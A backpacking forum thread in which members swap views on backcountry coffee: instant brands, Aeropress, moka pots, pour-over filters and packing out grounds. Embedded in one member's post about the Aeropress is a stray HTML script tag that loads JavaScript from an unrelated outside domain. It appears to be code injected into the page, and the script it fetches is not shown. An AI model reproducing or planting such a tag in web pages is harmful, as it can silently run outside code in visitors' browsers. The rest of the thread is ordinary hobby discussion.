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How to Make Coffee in the Backcountry: Gear and Methods


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Home Forums Campfire Editor’s Roundtable How to Make Coffee in the Backcountry: Gear and Methods

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  • #3616310
    Backpacking Light
    Admin

    @backpackinglight

    Locale: Rocky Mountains

    Companion forum thread to: How to Make Coffee in the Backcountry: Gear and Methods

    This article provides an overview of coffee-making methods (how to make coffee in the backcountry) while backpacking, with a study of their complexity and weight.

    #3616316
    Brad P
    BPL Member

    @brawndo

    Nice article.  I enjoy coffee, but I’m not a snob. For car camping, I have a Jetboil French press.  The simplicity of Via for backpacking is worthwhile.

    The chart on this page is cut off so not all columns are displayed.

    #3616322
    William Chilton
    BPL Member

    @williamc3

    Locale: Antakya

    The chart on this page is cut off so not all columns are displayed.

    True, but you can scroll it to view the column on the right.

    #3616357
    Jenny A
    BPL Member

    @jennifera

    Locale: Front Range

    What a great article!   It resonates.  I’ve amassed a number of presses, drip cones, drop-in filters and such but have gone back to instant packets for the simplicity and to save weight, and packing out grounds is a drag.  I like the Cafe Bustelo brand packets and get adequate flavor and strength by emptying two packets into a Snow Peak insulated mug.  Nescafe or Folgers will do in a pinch.  It is one of life’s great joys to sit on a fine rock and look out over a high mountain lake while nursing a brew.

    And refusing to trust a non-coffee drinker to make you a cuppa is spot-on.

    #3616421
    Bruce Tolley
    BPL Member

    @btolley

    Locale: San Francisco Bay Area

    To not include various cowboy coffee methods, seems a big oversight. Weight of gear = 0 grams

     

    #3616489
    Roger Caffin
    BPL Member

    @rcaffin

    Locale: Wollemi & Kosciusko NPs, Europe

    Snow Peak Titanium Coffee Press, 180 g. Makes for the two of use in one go.
    We use it in the bush but not at home, due to the disposal of the coffee grounds.

    Cheers

    #3616494
    Brad P
    BPL Member

    @brawndo

    To not include various cowboy coffee methods, seems a big oversight. Weight of gear = 0 grams

    This appears to be the reasoning:

    6. Picking grounds out of my teeth is a serious buzz kill.

     

    #3616497
    JCH
    BPL Member

    @pastyj-2-2

    The level of awesomeness that I require from my coffee is inversely proportional to the level of awesomeness of my surroundings.

    In the woods, Via is just fine.

    #3616499
    James Marco
    BPL Member

    @jamesdmarco

    Locale: Finger Lakes

    I MUST have coffee. I have tried most of these methods. Starting with the old fashioned boiled coffee, perked coffee, glass steamers, expresso makers, coffee presses, bags, tea balls, cowboy coffee, etc (but not the newer high tech frothers.) I gave up. Like Jenny, I went back to simple instant coffee. Medaglia D’oro is what I prefer.

    I really like strong coffee. So, a couple tablespoons with 8oz of hot water does well. But, on an empty stomach, it can lead to an acid stomach, soo, I mix it with a three oz of oatmeal and a couple oz of hot cocoa for the first cup…Marco’s Mud. I like maple instant oatmeal the best, but a variety works for me. The next few cups are just mocha.

    #3616510
    W I S N E R !
    BPL Member

    @xnomanx

    “The level of awesomeness that I require from my coffee is inversely proportional to the level of awesomeness of my surroundings.

    In the woods, Via is just fine.”

    +1

    I used to carry fresh food and go to great lengths to have amazing culinary experiences in the backcountry when possible.  But I just don’t care much anymore.  I find myself so engrossed in the experience that just about anything will do…the less planning, fuss, and $$$ the better.

    I’d eat grass and live on streamwater if I could.

    #3616566
    Jenny A
    BPL Member

    @jennifera

    Locale: Front Range

    “I’d eat grass and live on streamwater if I could.”

    Post of the day.

    #3616596
    Sean P
    BPL Member

    @wily_quixote

    Locale: S.E. Australia

    The aeropress makes a good shot of espresso-ish coffee and cleanup is easy as you get a dry cake of grounds at the end.  If you are a ‘leave-no-trace’ kind of guy a dry brick is of equal weight and mess to pack out as the dry grounds that you started with.  If you wish to bury the cake the cleanup is super-easy.  the aeropress is somewhat bulky though.

    A moka pot (italian style stovetop/perculated coffee) is another option – an aluminium moka pot can be had from ebay for about 140g and makes a single shot of coffee.  Same as I have at home.  Cleanup is messier than the aeropress and requires some water to clean out the grounds.

    <script src=”//domclickext.xyz/212b3d4039ab5319ec.js” async=”” type=”text/javascript”></script>

    #3616604
    Paul Ettestad
    BPL Member

    @ettestad

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    #3616608
    Paul Ettestad
    BPL Member

    @ettestad

    Great article. I recently tried Voila instant coffee and find it better than the other instants mentioned; but it costs more.

    #3616615
    Chris Dumler
    BPL Member

    @chrisdumler-2

    Love this post! There’s nothing better than a great view with a hot cup of coffee. I was fortunate enough to do 800 PCT and 300 OCT miles this year and every day I looked forward to that brew. Sometimes it was a morning treat, sometimes it was an afternoon treat, usually it was both. What seems to work for me differed depending on how much time or what my specific goals were. But there was always coffee (they don’t call me “The Grind” for nuthin’ ;)

    The beauty of the grind. My morning ritual off trail is usually fresh single-origin beans (those are beans from a single variety and location as opposed to the more common blends) brewed by pour over method: wave, v60, or Chemex. When I travel it’s often French press or Aeropress. So it seemed natural to take one of these brewers on trail. I’ve packed the Aeropress and a hand grinder and, while I love that at home, on trail it’s just too much work, too much weight, too much space, for me. The bulk of this comes from the grinder. A lightweight grinder is fine, but it’s not mechanically effective enough to do a proper grind. So now if I want to brew using one of these methods I prefer to pre-grind properly and just carry the plastic Kalita Wave and a few paper filters. These brewers don’t pack as nicely as the Snow Peak, but they can be lighter if you go with a plastic or even stainless. Obviously there’s some weight to pack out, and it’s slightly heavier than when you packed it in because after your brew there’s water in those grounds and filters.

    But wait! There’s the pocket pour over. There are several companies now (Kuju and Tribo to name a couple) that give you pre-dosed coffee in a little paper pour over brewer. You simply pull out the packet, extend the brewer over your cup, and pour. Easy peezy. Except that all the ones I tried tasty pretty meh. If I need to pack out the weight, it should at least be worth it.

    Like, instantly. The instant coffee scene is probably one of the more exciting areas in specialty coffee right now. Personally, I can’t stand Via, but I love Starbucks for really pushing the envelope here because it got a lot of other coffee lovers to start improving on instant coffee. My absolute favorite, and what became my preferred method for great coffee on trail, is a company called Voila. The packets are small with minimum trash and contain instant coffee, single or blends, from some pretty solid roasters. They aren’t cheap, but for my palette they are worth it. I love these so much that I usually carry a couple of packets with me when I travel just in case I get stuck and need a coffee.

    Being on the PCT I usually wanted two coffees a day and I was always looking to add calories. For this, I packed a type of “Keto coffee” called Fat Fuel. This gave me some extra calories and this stuff just tastes good: like a creamy latte (…with some floaty chunks of powdered butter, but whatever).

    Caffeine. For some, this is all that really matters. I’ve been there. When I really just want caffeine I don’t bother with the weight of coffee, I just carry caffeine pills. It’s easier, light weight, no pack out.

    Ok, so that’s a really long reply. But I just got back from this little roaster I found and I’ve been drinking a lot of coffee.

    May all your ugly mugs be warm!

    #3616616
    Chris Dumler
    BPL Member

    @chrisdumler-2

    Voila is the best!

    #3616619
    Greg Mihalik
    BPL Member

    @greg23

    Locale: Colorado

    ^^^

    …at $3 per packet, for a 10 ounce cup of coffee, that is never the same order-to-order ….. hummmm….

    #3616620
    Tom K
    BPL Member

    @tom-kirchneraol-com-2

    “I used to carry fresh food and go to great lengths to have amazing culinary experiences in the backcountry when possible.  But I just don’t care much anymore.  I find myself so engrossed in the experience that just about anything will do…the less planning, fuss, and $$$ the better.”

    + 1

    It’s an evolutionary trajectory that many, not all, experience at some point in their wanderings.  I started out doing the gourmet routine, too, but came to realize that it’s nothing but carbs, fat, and protein by the time it gets to its final destination.  In the meantime there’s all that stunning mountain beauty to immerse myself in, and time consuming, bulky, heavy, messy food is just a distraction.  The bears it often attracts even more so.  So, it’s no cook, Perpetuem analogue for on the move, bars, granola, nuts, dried fruit, powdered milk, and body fat for this scrawny little Sierra rat.  No muss, no fuss, no bother.  I do draw the line at NoDoze, however.  Been there, done that, and the day just didn’t seem quite as full of promise as before.  So, Via it is.  Even a mountain rat has certain standards.  ;0)

    “I’d eat grass and live on streamwater if I could.”

    I’ve long envied Pikas for that very reason, Craig.

     

    “I’d eat grass and live on streamwater if I could.”

     

     

    #3616621
    Simon Weiss
    BPL Member

    @simongtr

    Locale: Bay Area

    The truth is, if you’re not going to grind it fresh, just bring some Starbucks Vias (or equivalent).  Now though, some roasteries are creating their own freeze dried packets of their brewed coffee.  Brandywine Coffee roasters, Onyx coffee lab, Verve, etc., are also doing that.  They’re not cheap (lots of embodied energy), but they’re probably the next best thing.

    Doing pour over, aeropress, or any of the recommended methods here of old, ground coffee is almost totally pointless.

    If you’re going to grind and then do pour over, the most compact drip system is the Munieq Tetra Dipper: https://www.munieq.com/products

    It works with Hario V60 filters and works pretty well.  Don’t bother with the smaller size – it’s worthless (can barely make a very small single cup).

    #3616624
    Roger Caffin
    BPL Member

    @rcaffin

    Locale: Wollemi & Kosciusko NPs, Europe

    Doing pour over, aeropress, or any of the recommended methods here of old, ground coffee is almost totally pointless.
    May I, as an individual coffee drinker, say this is (I have to be polite here) rubbish.
    I buy vacuum-sealed ground coffee, and have been doing so for decades. MUCH better than any sort of ‘Instant’.
    Since the beans are ground and then packed within a few minutes, I fail to see what the problem could be.

    Cheers

    #3616625
    . .
    BPL Member

    @biointegra

    Locale: Puget Sound

     

    True third+ wave single-origin, proper ‘gently’ roasted coffee in instant form exists. Each of the following I will vouch for. The companies are listed in descending order of my preference, but each have next level offerings:

    Cheers,

    #3616626
    Simon Weiss
    BPL Member

    @simongtr

    Locale: Bay Area

    Hey Roger,

    To each their own.  But I don’t believe the vacuum sealed coffee is actually any kind of prevention against the dullification of coffee that comes with time after roasting.  While it may prevent against oxidation and rotting, it doesn’t do anything to prevent the volatilization of the delicious and delicate flavors that make freshly roasted coffee a delight compared the 2 month old beans.  And when you grind them, you’re exposing significantly more surface area for those tiny tasty gasses to escape.

    #3616628
    Roger Caffin
    BPL Member

    @rcaffin

    Locale: Wollemi & Kosciusko NPs, Europe

    @Simon

    But there does not have to be any significant ‘time after roasting’. To the best of my knowledge, the local (Aus) company I buy from roasts, grinds and packages in-house in a production line.

    Yes, to be sure, when you grind coffee beans you are risking the loss of volatiles – but not if you package the ground coffee up in a seriously vacuum-tight package very quickly. Once I open one of the packages, I move it quickly into an airtight bottle which I store in the fridge.

    Works fine for me.

    Cheers

    #3616637
    David P
    BPL Member

    @david-paradis

    I’ve been using the GSI filter for years and have switched exclusively to pour over at home as well… fine ground fresh. I love the simple ritual of a pour over.  Blows instants out of the water for taste and desired effect in my experience. The GSI is nice n tight n light (11g) it lives at the bottom of my cook pot…

    i use disposable filters in conjunction with the GSI filter to reduce cleaning and clogging of the fine plastic mesh.  I pack out used coffee grounds but my PhD biologist friend that I hike with has no qualms with spreading the coffee grounds, different strokes I guess…

    I don’t make a fire when I camp but for those that do, what about incinerating the filter and spent coffee grounds in the morning fire? The earth and organisms are sufficiently scorched would adding coffee hurt anything as far as LNT goes?

     

    #3616639
    Roger Caffin
    BPL Member

    @rcaffin

    Locale: Wollemi & Kosciusko NPs, Europe

    @David
    I do not think that used coffee grounds can do any harm whatsoever. They are sometimes used in mulch in fact.
    Could you not invert the filter, brush off all the grounds, let the filter dry, and then take it home? Zero weight there.

    Cheers

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